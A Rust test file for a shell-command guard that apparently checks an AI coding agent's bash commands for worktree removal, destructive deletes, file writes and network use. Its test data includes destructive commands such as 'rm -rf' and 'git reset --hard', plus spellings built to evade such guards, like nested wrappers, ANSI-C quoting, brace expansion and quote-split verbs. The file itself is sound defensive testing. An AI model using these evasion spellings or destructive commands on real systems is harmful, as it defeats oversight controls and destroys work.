};
let mut worktree_cases = wrapper_spellings(&format!("git worktree remove {WT}"));
worktree_cases.push(format!("bash -c \"git worktree remove '{WT}'\""));
worktree_cases.push(format!("sh -c 'git worktree remove \"{WT}\"'"));
worktree_cases
.push("sh -c \"cd /repo && git worktree remove .claude/worktrees/agent-x\"".to_string());
for command in &worktree_cases {
let verdict = evaluate_worktree_remove_command(command, true, engineer, Path::new("/repo"));
assert!(
matches!(verdict, WorktreeRemoveVerdict::Deny(_)),
"the #5791 worktree-remove deny must see through: {command}"
);
}
let checkout = tempfile::tempdir().expect("tempdir");
std::fs::create_dir(checkout.path().join(".git")).expect("mkdir .git");
for command in wrapper_spellings("git merge origin/main") {
let resolved = main_checkout_head_move(&command, checkout.path());
assert!(
resolved.is_some(),
"the main-checkout HEAD-move rule must see through: {command}"
);
assert_eq!(resolved.expect("resolved").expect("placed").0, "merge");
}
for command in wrapper_spellings(&format!("rm -rf {WT}")) {
assert!(
evaluate_destructive_delete_command(&command, Path::new("/repo")).is_some(),
"the destructive-delete rule must see through: {command}"
);
}
}
#[test]
fn an_unparseable_wrapped_command_is_denied() {
for command in [
"sh -c \"git worktree remove 'unterminated\"",
"bash -c 'rm -rf \"unterminated'",
] {
assert!(
evaluate_bash_command(command).is_some(),
"an unlexable wrapped command must deny: {command}"
);
}
}
#[test]
fn unclassifiable_command_flags_ansi_c_quoting() {
for command in [
"sh -c $'git worktree remove /repo/.claude/worktrees/agent-x'",
"bash -c $'rm -rf /repo/.claude/worktrees/agent-x'",
"git $'worktree' remove /repo/.claude/worktrees/agent-x",
"env -S $'git worktree remove x'",
"sh -c \"git $'worktree' remove /repo/.claude/worktrees/agent-x\"",
"$\"git\" worktree remove x",
] {
assert_eq!(
unclassifiable_command(command),
Some(ANSI_C_QUOTING_REASON),
"ANSI-C quoting must be refused: {command}"
);
}
}
#[test]
fn brace_expanded_program_word_is_unclassifiable() {
for command in [
"{git,-C,/m,commit,-a}",
"({git,commit})",
"true && {git,commit}",
"if true; then {git,commit}; fi",
"env {git,commit}",
"/usr/bin/{git,x} commit",
"sh -c '{git,commit}'",
] {
assert!(
unclassifiable_command(command).is_some_and(|r| r.contains("brace expansion")),
"brace expansion must be refused: {command}"
);
}
for command in [
"mkdir -p src/{a,b}",
"cp f{,.bak}",
"{ git commit; }",
"echo ${HOME}",
"git add src/{a,b}.rs",
"git commit -m '{a,b}'",
] {
assert_eq!(unclassifiable_command(command), None, "{command}");
}
}
#[test]
fn unclassifiable_command_flags_an_unlexable_wrapper() {
for command in [
"sh -c \"git worktree remove 'unterminated\"",
"bash -c 'rm -rf \"unterminated'",
"xargs sh -c \"git worktree remove 'x\"",
] {
assert_eq!(
unclassifiable_command(command),
Some(UNLEXABLE_WRAPPER_REASON),
"an unlexable wrapper must be refused: {command}"
);
}
}
#[test]
fn unclassifiable_command_denies_past_the_depth_cap() {
fn nest(inner: &str, layers: usize) -> String {
let mut command = inner.to_string();
for _ in 0..layers {
let quoted = shlex::try_quote(&command).expect("quotable");
command = format!("sh -c {quoted}");
}
command
}
let inner = "git worktree remove /repo/.claude/worktrees/agent-x";
for layers in 1..=MAX_WRAPPER_DEPTH {
let command = nest(inner, layers);
assert_eq!(
unclassifiable_command(&command),
None,
"{layers} layers are within budget: {command}"
);
}
for layers in [MAX_WRAPPER_DEPTH + 1, MAX_WRAPPER_DEPTH + 4] {
let command = nest(inner, layers);
assert_eq!(
unclassifiable_command(&command),
Some(WRAPPER_DEPTH_REASON),
"{layers} layers exhaust the budget and must be refused"
);
}
let engineer = DispatchIdentity {
agent_id: Some("agent-abc123"),
agent_type: Some("rust-engineer"),
};
for layers in [MAX_WRAPPER_DEPTH, MAX_WRAPPER_DEPTH + 1] {
let command = nest(inner, layers);
let denied = unclassifiable_command(&command).is_some()
|| matches!(
evaluate_worktree_remove_command(&command, true, engineer, Path::new("/repo")),
WorktreeRemoveVerdict::Deny(_)
);
assert!(denied, "{layers} layers must deny: {command}");
}
}
#[test]
fn unclassifiable_command_allows_ordinary_commands() {
for command in [
"git status --porcelain",
"sh -c 'git status --porcelain'",
"bash -c \"cargo build\"",
"xargs git add",
"cargo test -p trusty-mpm && git log --oneline -5",
"echo $HOME",
"git log --format='%h $ %s'",
"git commit -m \"cost: $'5' per unit\"",
] {
assert_eq!(
unclassifiable_command(command),
None,
"ordinary command must not be refused: {command}"
);
}
}
#[test]
fn wrappers_around_benign_commands_still_allow() {
for command in [
"sh -c 'git status --porcelain'",
"bash -c \"git log --oneline -5\"",
"xargs git add",
"sh -c 'echo hello'",
"bash -c 'cargo build'",
"eval \"git status --porcelain\"",
"eval \"$(ssh-agent -s)\"",
] {
assert_eq!(
evaluate_bash_command(command),
None,
"expected allow for benign wrapped command: {command}"
);
}
}
#[test]
fn git_inside_a_path_or_a_word_is_not_a_git_command() {
for command in [
"for f in crates/trusty-git-analytics/src/collect/jira/*.rs; do printf '%s' \"$f\"; done",
"ls crates/trusty-git-analytics/src",
"rg --files crates/trusty-git-analytics | head",
"echo digit legit gitignore",
"grep -n legit crates/trusty-git-analytics/README.md",
"cargo run -- --git-dir /tmp/x",
"./scripts/check_line_cap.sh",
] {
assert_eq!(
evaluate_bash_command(command),
None,
"expected allow, the only `git` here is not in command position: {command}"
);
}
}
#[test]
fn git_inside_a_heredoc_body_is_not_a_git_command() {
for command in [
"python3 - <<'PY'\nprint('git apply patch.diff')\nPY",
"cat <<'EOF'\ngit apply patch.diff\nsed -i s/a/b/ f\nEOF",
"python3 - <<'PY'\nif a > b:\n print('git apply x')\nPY",
] {
assert_eq!(
evaluate_bash_command(command),
None,
"a here-document body is data, not syntax: {command}"
);
}
}
#[test]
fn git_in_command_position_after_a_separator_still_denies() {
for command in [
"echo hi && git apply p.diff",
"echo hi; git apply p.diff",
"cat p.diff | git apply -",
"echo hi || git apply p.diff",
"true & git apply p.diff",
"ls crates/trusty-git-analytics && git apply p.diff",
"git -C crates/trusty-git-analytics apply p.diff",
] {
assert_eq!(
evaluate_bash_command(command),
Some(SHELL_EDIT_REASON),
"expected shell-edit deny for: {command}"
);
}
}
#[test]
fn unexpanded_shell_variable_finds_both_spellings() {
for (path, expected) in [
("/repo/$MAIN/.claude/worktrees/a", "$MAIN"),
("/repo/${MAIN}/wt", "${MAIN}"),
("$WT", "$WT"),
("/repo/a/${WORKTREE_ROOT}", "${WORKTREE_ROOT}"),
("/repo/$1/wt", "$1"),
] {
assert_eq!(
unexpanded_shell_variable(Path::new(path)).as_deref(),
Some(expected),
"path: {path}"
);
}
}
#[test]
fn unexpanded_shell_variable_is_none_for_ordinary_paths() {
for path in [
"/repo/.claude/worktrees/agent-x",
"relative/path",
"/repo/$",
"/repo/$/wt",
"/repo/${}/wt",
] {
assert_eq!(
unexpanded_shell_variable(Path::new(path)),
None,
"path: {path}"
);
}
}
#[test]
fn unresolved_target_reports_a_surviving_tilde_as_written() {
let no_home = PathEnv {
tmpdir: None,
tmp: None,
home: None,
};
let base = Path::new("/launch/dir");
for (token, expected_token, expected_shown) in [
("~/audit/repo", "~", "~/audit/repo"),
("~", "~", "~"),
("~bob/scratch", "~bob", "~bob/scratch"),
] {
let resolved = resolve_target_path(token, base, &no_home);
assert_eq!(
resolved,
base.join(token),
"the join this rule exists to catch: {token}"
);
let unresolved =
unresolved_target(&resolved).unwrap_or_else(|| panic!("must be unresolved: {token}"));
assert_eq!(unresolved.token, expected_token, "token: {token}");
assert_eq!(
unresolved.shown,
Path::new(expected_shown),
"the refusal must not quote the launch directory: {token}"
);
}
}
#[test]
fn unresolved_target_is_none_once_home_expands_the_tilde() {
let with_home = PathEnv {
tmpdir: None,
tmp: None,
home: Some("/Users/bob".to_string()),
};
let resolved = resolve_target_path("~/audit/repo", Path::new("/launch/dir"), &with_home);
assert_eq!(resolved, Path::new("/Users/bob/audit/repo"));
assert!(
unresolved_target(&resolved).is_none(),
"an expanded tilde leaves nothing unresolved: {}",
resolved.display()
);
for path in ["/repo/.claude/worktrees/agent-x", "/repo/a~b/c"] {
assert!(
unresolved_target(Path::new(path)).is_none(),
"a `~` inside a component is not a tilde expansion: {path}"
);
}
}
#[test]
fn unresolved_target_reports_a_command_substitution() {
let env = PathEnv {
tmpdir: None,
tmp: None,
home: Some("/Users/bob".to_string()),
};
let base = Path::new("/repo/.claude/worktrees/agent-a");
for (token, expected) in [
("$(cat /tmp/main)", "$("),
("`cat /tmp/main`", "`"),
("$(cat $MAIN)/sub", "$("),
] {
let resolved = resolve_target_path(token, base, &env);
let unresolved =
unresolved_target(&resolved).unwrap_or_else(|| panic!("must be unresolved: {token}"));
assert_eq!(unresolved.token, expected, "token: {token}");
assert_eq!(unresolved.shown, resolved, "the whole path is quoted");
}
}
fn command_runs_git(command: &str) -> bool {
split_shell_segments(command)
.iter()
.any(|segment| shell_lex::git_subcommand(segment.trim()).is_some())
}
#[test]
fn git_is_only_a_git_command_in_command_position() {
for command in [
"ls crates/trusty-git-analytics/src",
"for f in crates/trusty-git-analytics/src/*.rs; do printf '%s' \"$f\"; done",
"cargo test -p trusty-git-analytics --no-fail-fast",
"cat .gitignore",
"grep -n target .gitignore",
"echo https://github.com/bobmatnyc/trusty-tools",
"printf '%s' digit-legit-gitignore",
"echo 'git status'",
"echo \"cd x && git checkout -- .\"",
"grep -n 'git ls-remote' README.md",
"perl -pi -e 's/gitlab/github/g' notes.md",
"tm wait --for run --pid $(pgrep -f 'git-upload-pack')",
] {
assert!(
!command_runs_git(command),
"no segment of this runs git as a command word: {command}"
);
}
}
#[test]
fn git_in_command_position_is_still_a_git_command() {
for command in [
"git worktree remove .claude/worktrees/agent-x",
"cd crates/trusty-git-analytics && git checkout -- .",
"echo a | git apply -",
"true; git commit -m wip",
"false || git reset --hard",
"env git status",
"sudo git clean -fdx",
"command git apply -",
"exec git reset --hard",
"GIT_DIR=/tmp/x git status",
"/usr/bin/git status",
"git -C crates/trusty-git-analytics apply p.diff",
"git --no-pager diff --stat",
"git -C /repo/.claude/worktrees/agent-x diff --stat",
"git show 3350be5 -- crates/trusty-mpm/src/lib.rs",
] {
assert!(
command_runs_git(command),
"git is the command word of a segment here: {command}"
);
}
}
const HARNESS_REFUSED_SHAPES: &[&str] = &[
"git diff origin/main...HEAD --stat",
"git diff main..HEAD -- docs/",
"git diff --cached -- crates/trusty-mpm/src/lib.rs",
"git diff HEAD~2 HEAD -- crates/trusty-mpm/src/lib.rs",
"git log origin/main..3350be5",
"git -C . status --short",
"git --no-pager diff --stat",
"git grep -n fixture -- $(git diff --name-only origin/main...HEAD)",
"git commit -F /tmp/msg.txt > /tmp/out.txt 2>&1; echo EXIT=$?",
"bash scripts/check_line_cap.sh",
"bash /repo/scripts/check_line_cap.sh",
"awk -f /tmp/prog.awk /tmp/build.log",
"sed -f /tmp/prog.sed notes.md",
"node -e 'console.log(1)'",
"python3 - <<'PY'\nprint(1)\nPY",
"awk -f /dev/stdin <<'AWK'\n{ print }\nAWK",
"cat >> crates/trusty-mpm/tests/tools.rs <<'EOF'\nfn x() {}\nEOF",
"for f in crates/trusty-git-analytics/src/collect/jira/*.rs; do printf '%s\\n' \"$f\"; done",
"for i in $(seq 20); do cargo test -p trusty-mpm; done",
"for n in 102 124; do sed -n \"$((n - 8)),$((n + 8))p\" src/lib.rs; done",
"cargo test -p trusty-mpm | tail -5; echo ${PIPESTATUS[0]}",
"ls crates | xargs grep -l fixture",
"sed -n '/running/,$p' \"$SP/full.txt\"",
"export TD=/repo/target-worktree && cargo check -p trusty-mpm",
"CARGO_TARGET_DIR=$PWD/target-worktree cargo check -p trusty-mpm",
"cd /repo/.claude/worktrees/agent-x && git diff --stat",
"S=/repo/fixtures && ./tm hook --pm-guard < $S/p1.json",
"tm wait --for run --pid $(pgrep -f cargo)",
"grep -n 'git ls-remote' README.md",
"perl -pi -e 's/gitlab/github/g' notes.md",
];
#[test]
fn harness_refused_shapes_stay_classifiable_here() {
for command in HARNESS_REFUSED_SHAPES {
assert_eq!(
unclassifiable_command(command),
None,
"the harness refused this as unverifiable; this guard must still \
establish what it runs: {command:?}"
);
}
}
#[test]
fn ansi_c_quoting_is_refused_by_this_guard_too() {
assert_eq!(
unclassifiable_command(r"grep -n $'\tfixture' README.md"),
Some(ANSI_C_QUOTING_REASON)
);
assert_eq!(
unclassifiable_command(r"grep -n '\tfixture' README.md"),
None
);
}
#[test]
fn readonly_git_diff_pathspecs_are_allowed() {
for command in [
"git diff main..HEAD -- docs/",
"git diff origin/main..HEAD -- docs/",
"git diff origin/main...HEAD -- docs/",
"git diff --stat main..HEAD -- docs/",
"git diff --cached -- docs/",
"git diff HEAD~2 HEAD -- docs/",
"git --no-pager diff main..HEAD -- docs/",
"git -C /repo diff main..HEAD -- docs/",
] {
assert_eq!(
unclassifiable_command(command),
None,
"read-only diff must stay classifiable: {command}"
);
assert_eq!(
evaluate_bash_command(command),
None,
"read-only diff must stay allowed: {command}"
);
}
}
#[test]
fn a_quoted_command_path_with_spaces_gets_the_unquoted_decision() {
let unquoted = "/Applications/GoogleChrome.app/Contents/MacOS/GoogleChrome --headless";
for command in [
r#""/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --headless"#,
r#"'/Applications/Google Chrome.app/Contents/MacOS/Google Chrome' --headless"#,
] {
assert_eq!(unclassifiable_command(command), None, "{command}");
assert_eq!(
evaluate_bash_command(command),
evaluate_bash_command(unquoted),
"quoted and unquoted spellings must agree: {command}"
);
assert_eq!(evaluate_bash_command(command), None, "{command}");
}
}
#[test]
fn a_quoted_path_to_a_forbidden_verb_is_still_refused() {
for command in [
r#""/Applications/My Tools/sed" -i s/a/b/ f"#,
r#"'/Applications/My Tools/patch' -p1 x"#,
r#""/Applications/My Tools/awk" -i inplace '{print}' f"#,
r#"s"e"d -i s/a/b/ f"#,
r#"'se'"d" -i s/a/b/ f"#,
r#""se"'d' -i s/a/b/ f"#,
r"/opt/my\ tools/sed -i x f",
] {
assert_eq!(
evaluate_bash_command(command),
Some(SHELL_EDIT_REASON),
"a quoted path must not hide the verb: {command}"
);
}
assert_eq!(
evaluate_bash_command(r#"c"u"rl http://x"#),
Some(NETWORK_REASON)
);
assert_eq!(
evaluate_bash_command(r#""/opt/My Tools/npm" test"#),
Some(BUILD_TEST_REASON)
);
assert_eq!(
evaluate_bash_command(r#"n"p"m test"#),
Some(BUILD_TEST_REASON)
);
assert_eq!(evaluate_bash_command(r#""/opt/make tools/echo" hi"#), None);
}
#[test]
fn git_diff_output_flag_is_refused_as_a_file_write() {
for command in [
"git diff --output=/tmp/o.diff",
"git diff --output=/tmp/o.diff origin/main...HEAD",
"git diff --output /tmp/o.diff origin/main...HEAD",
"git diff origin/main...HEAD --output=/tmp/o.diff -- docs/",
"git --no-pager diff --output=/tmp/o.diff",
"git -C /repo diff --output /tmp/o.diff",
"git log -1 --output=/tmp/log.txt",
"git show HEAD --output=/tmp/show.txt",
"git format-patch -1 --output=/tmp/p.patch",
r#"git diff --output="/tmp/my out.diff""#,
"sh -c 'git diff --output=/tmp/o.diff'",
"cargo check -p trusty-mpm && git diff --output=/tmp/o.diff",
] {
assert_eq!(
evaluate_bash_command(command),
Some(SHELL_EDIT_REASON),
"a git --output option is a file write: {command}"
);
}
assert_eq!(
extract_shell_edit_target("git diff --output=/tmp/o.diff"),
Some("/tmp/o.diff".to_string())
);
assert_eq!(
extract_shell_edit_target("git diff --output /tmp/o.diff HEAD"),
Some("/tmp/o.diff".to_string())
);
}
#[test]
fn git_short_output_options_are_refused_as_file_writes() {
for command in [
"git format-patch -o /tmp/d -1 HEAD",
"git format-patch -1 -o/tmp/d HEAD",
"git format-patch --output-directory=/tmp/d -1 HEAD",
"git format-patch --output-directory /tmp/d -1 HEAD",
"git format-patch -1 HEAD",
"git archive -o /tmp/a.tar HEAD",
"git archive -o/tmp/a.tar HEAD",
"git archive --output=/tmp/a.tar HEAD",
"git bundle create /tmp/x.bundle HEAD",
"git bundle create -q /tmp/x.bundle --all",
"git -C /repo format-patch -o /tmp/d -1 HEAD",
"sh -c 'git archive -o /tmp/a.tar HEAD'",
] {
assert_eq!(
evaluate_bash_command(command),
Some(SHELL_EDIT_REASON),
"a git write option is a file write: {command}"
);
}
for command in [
"git format-patch --stdout -1 HEAD",
"git format-patch -1 HEAD --stdout",
"git archive --format=tar HEAD | tar -t",
"git bundle create - HEAD",
"git bundle verify /tmp/x.bundle",
"git diff -o /tmp/o.diff HEAD",
"git clone -o upstream https://x/y.git",
] {
assert_eq!(
evaluate_bash_command(command),
None,
"a read-only spelling must stay allowed: {command}"
);
}
assert_eq!(
extract_shell_edit_target("git archive -o /tmp/a.tar HEAD"),
Some("/tmp/a.tar".to_string())
);
}
#[test]
fn git_diff_read_only_shapes_survive_the_output_deny() {
for command in [
"git diff --no-index /tmp/a.txt /tmp/b.txt",
"git diff --stat",
"git diff -- docs/",
"git diff --output-indicator-new=+",
"git diff --output-indicator-old=- --stat main..HEAD",
"git diff -- --output=/tmp/o.diff",
"git log --oneline -5",
"git show HEAD --stat",
] {
assert_eq!(
unclassifiable_command(command),
None,
"read-only diff must stay classifiable: {command}"
);
assert_eq!(
evaluate_bash_command(command),
None,
"read-only diff must stay allowed: {command}"
);
}
}
#[test]
fn an_unlexable_git_segment_keeps_every_deny_it_already_had() {
assert_eq!(
evaluate_bash_command("git diff '/tmp/o.diff > /tmp/w.diff"),
Some(SHELL_EDIT_REASON)
);
assert_eq!(
evaluate_bash_command("sed -i s/a/b/ '/tmp/f.rs"),
Some(SHELL_EDIT_REASON)
);
assert_eq!(
shell_lex::git_file_write_target("git diff --output='/tmp/o.diff"),
None,
"an unbalanced segment withholds the new deny rather than granting one"
);
assert_eq!(
shell_lex::git_file_write_target("git archive -o '/tmp/a.tar"),
None,
"the round-2 spellings inherit the same withhold-only failure"
);
}
#[test]
fn shell_write_targets_reads_redirects_and_git_output() {
for (command, target) in [
("echo hi > /tmp/o.diff", "/tmp/o.diff"),
("cat a >> /tmp/o.diff", "/tmp/o.diff"),
("git diff --output=/tmp/o.diff HEAD~1 HEAD", "/tmp/o.diff"),
("git diff --output /tmp/o.diff HEAD", "/tmp/o.diff"),
("git -C /repo log -1 --output=/tmp/l.txt", "/tmp/l.txt"),
("git show HEAD --output=/tmp/s.txt", "/tmp/s.txt"),
("git format-patch -o /tmp/d -1 HEAD", "/tmp/d"),
("git archive -o /tmp/a.tar HEAD", "/tmp/a.tar"),
("git bundle create /tmp/x.bundle HEAD", "/tmp/x.bundle"),
(
"cargo check -p trusty-mpm && git diff --output=/tmp/o.diff",
"/tmp/o.diff",
),
] {
assert_eq!(
shell_write_targets(command),
Ok(vec![target.to_string()]),
"{command}"
);
}
}
#[test]
fn shell_write_targets_ignores_reads() {
for command in [
"git diff HEAD~1 HEAD",
"git diff --no-index /tmp/a.txt /tmp/b.txt",
"git diff --stat -- docs/",
"git diff --output-indicator-new=+",
"git format-patch --stdout -1 HEAD",
"git bundle create - HEAD",
"cargo test -p trusty-mpm 2>&1",
"echo hi > /dev/null",
"sed -n '1,5p' /tmp/f.rs",
"git apply /tmp/f.patch",
"git diff --output='/tmp/o.diff",
] {
assert!(
shell_write_targets(command).is_ok_and(|t| t.is_empty()),
"{command} -> {:?}",
shell_write_targets(command)
);
}
assert_eq!(shell_write_targets("git diff --output"), Ok(Vec::new()));
assert_eq!(
evaluate_bash_command("git diff --output"),
Some(SHELL_EDIT_REASON)
);
}
#[test]
fn shell_write_targets_collects_every_segments_write() {
assert_eq!(
shell_write_targets("echo hi > notes.md && echo bye > crates/x/src/lib.rs"),
Ok(vec![
"notes.md".to_string(),
"crates/x/src/lib.rs".to_string()
])
);
assert_eq!(
shell_write_targets("cd . > crates/x/src/lib.rs"),
Ok(vec!["crates/x/src/lib.rs".to_string()])
);
}
#[test]
fn shell_write_targets_ignores_a_heredoc_body_redirect() {
for command in [
"cat <<'EOF'\nsee: git diff > crates/x/src/lib.rs\nEOF",
"python3 <<'PY'\nprint([k for k in d if len(k) > 3])\nPY",
"cat <<EOF\nthe pipeline is read -> parse -> write\nEOF",
] {
assert_eq!(shell_write_targets(command), Ok(Vec::new()), "{command}");
assert_eq!(extract_shell_edit_target(command), None, "{command}");
assert_eq!(evaluate_bash_command(command), None, "{command}");
}
assert_eq!(
shell_write_targets("python3 <<'PY' > out.rs\nprint(1)\nPY"),
Ok(vec!["out.rs".to_string()])
);
assert_eq!(
shell_write_targets("python3 <<'PY'\nprint(1)\nPY\necho done > f.rs"),
Ok(vec!["f.rs".to_string()])
);
}
#[test]
fn worktree_add_targets_resolves_cd_and_dash_c() {
let cwd = Path::new("/projects/example-repo");
assert_eq!(
worktree_add_targets("cd /srv/base && git worktree add wt-foo", cwd),
vec![PathBuf::from("/srv/base/wt-foo")]
);
assert_eq!(
worktree_add_targets("git -C /srv/base worktree add wt-foo", cwd),
vec![PathBuf::from("/srv/base/wt-foo")]
);
assert_eq!(
worktree_add_targets("git worktree add .claude/worktrees/wt-x", cwd),
vec![PathBuf::from(
"/projects/example-repo/.claude/worktrees/wt-x"
)]
);
}
#[test]
fn worktree_list_and_remove_produce_no_disk_targets() {
let cwd = Path::new("/projects/example-repo");
for cmd in [
"git worktree list",
"git worktree remove .claude/worktrees/wt-x",
"git worktree prune",
"cargo test -p trusty-mpm",
] {
assert!(
worktree_add_targets(cmd, cwd).is_empty(),
"`{cmd}` must not be gated on disk usage"
);
}
}
#[test]
fn no_targets_means_no_measurement() {
let called = std::cell::Cell::new(false);
let reason = super::disk_usage::refusal_for_targets(&[], |_| {
called.set(true);
Some("denied".to_string())
});
assert!(reason.is_none());
assert!(!called.get(), "an empty target list must measure nothing");
}
#[test]
fn the_first_refusing_target_wins() {
let targets = vec![PathBuf::from("/ok/wt-a"), PathBuf::from("/full/wt-b")];
let reason = super::disk_usage::refusal_for_targets(&targets, |p| {
p.starts_with("/full").then(|| "over threshold".to_string())
});
assert_eq!(reason.as_deref(), Some("over threshold"));
}
#[test]
fn an_unknown_git_global_option_does_not_hide_a_denied_verb() {
for command in [
"git --shallow-file x apply p.diff",
"git --shallow-file status diff --output=/tmp/o.diff",
] {
assert!(
evaluate_bash_command(command).is_some(),
"must deny: {command}"
);
}
assert_eq!(
extract_shell_edit_target("git --shallow-file x diff --output=/tmp/o.diff").as_deref(),
Some("/tmp/o.diff")
);
assert_eq!(
evaluate_worktree_add_command(
"git --shallow-file x worktree add /tmp/wt",
Path::new("/Users/x/proj")
),
Some(WORKTREE_TMP_REASON)
);
}